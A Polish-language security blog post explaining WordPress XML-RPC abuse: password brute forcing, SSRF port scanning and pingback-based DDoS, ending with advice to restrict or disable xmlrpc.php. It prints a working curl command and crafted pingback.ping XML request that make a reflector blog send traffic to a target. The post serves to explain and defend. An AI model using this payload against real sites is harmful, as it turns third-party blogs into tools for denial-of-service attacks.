WordPress XMLRPC, czyli Port Scan, Password Brute Force i DDoS
Napisał: Patryk Krawaczyński
29/05/2013 w Bezpieczeństwo Brak komentarzy. (artykuł nr 414, ilość słów: 538)
O
statnio w sieci pojawia się coraz więcej narzędzi wykorzystujących podatności w interfejsie XML-RPC WordPress’a, który to od wersji 3.5 jest standardowo włączony. Początek tej historii zaczął się od publikowania przez coraz to różne portale wiadomości, że różne strony oparte o ten popularny system blogowy są masowo atakowane za pomocą prób odgadnięcia hasła do konta administratora. Gdy wszyscy rozwodzili się lub przypominali, jak to zabezpieczyć panele administracyjne – Marcin Probola w prosty sposób wykorzystał do implementacji wcześniej wspomnianych ataków brute force właśnie XML-RPC.
Po serii ataków na słabo skonstruowane hasła i standardowe loginy przyszedł czas na możliwość skanowania innych hostów za pomocą API XML-RPC. W tym celu powstał prosty skaner umożliwiający skanowanie innych hostów i ich portów za pomocą pośrednika. Został on nawet wcielony do popularnego framework’a Metasploit (prawdopodobnie dlatego, że bardzo dużo użytkowników nie dba o bezpieczeństwo swoich blogów). Po bliższym przyjrzeniu okazało się, że ta sama luka pozwala na SSRF (ang. Server Side Request Forgery). Eldorado skończyło się z wydaniem wersji 3.5.1, która naprawiła tą lukę bezpieczeństwa.
Mimo załatania CVE-2013-0235 firma Incapsula udowodniła, że za pomocą metody pingback nadal istnieje możliwość przeprowadzenia ataku typu DDoS. Wystarczy do odpowiedniej ilości blogów wysłać specjalne żądanie HTTP typu POST – na przykład w postaci:
curl --data @request.txt http://blog.posrednik.pl/xmlrpc.php
gdzie plik request.txt
posiada postać:
<?xml version="1.0" encoding="iso-8859-1"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param> <value> <string>http://blog.cel.pl/2013/05/29/istniejacy-wpis/</string> </value> </param> <param> <value> <string>http://blog.posrednik.pl/2013/05/29/istniejacy-wpis/</string> </value> </param> </params> </methodCall>
Spowoduje to, że WordPress zainstalowany na serwerze blog.posrednik.pl
wykona żądanie HTTP do serwera blog.cel.pl
:
Request: GET URL: /2013/05/29/istniejacy-wpis Protocol: HTTP/1.0 User-Agent: WordPress/3.2.1; http://blog.posrednik.pl Host: blog.cel.pl Accept: */* Accept-Encoding: deflate;q=1.0, compress;q=0.5
Oznacza to, że kilku krotnie kierując takie żądania do kilkuset lub nawet kilku tysięcy blogów i wskazując jeden cel metody pingback – jesteśmy w stanie tanim kosztem przeprowadzić atak Distributed Denial of Service. W związku z powyższymi informacjami należy poważnie się zastanowić nad ograniczeniem komunikacji do pliku xmlrpc.php od strony serwera web do zaufanych adresów IP lub wyłączeniu XML-RPC po stronie WordPress’a – czy to przez wpis w pliku konfiguracyjnym (>= 3.5), czy za pomocą wtyczki (<= 3.5.1).
Więcej informacji: XML-RPC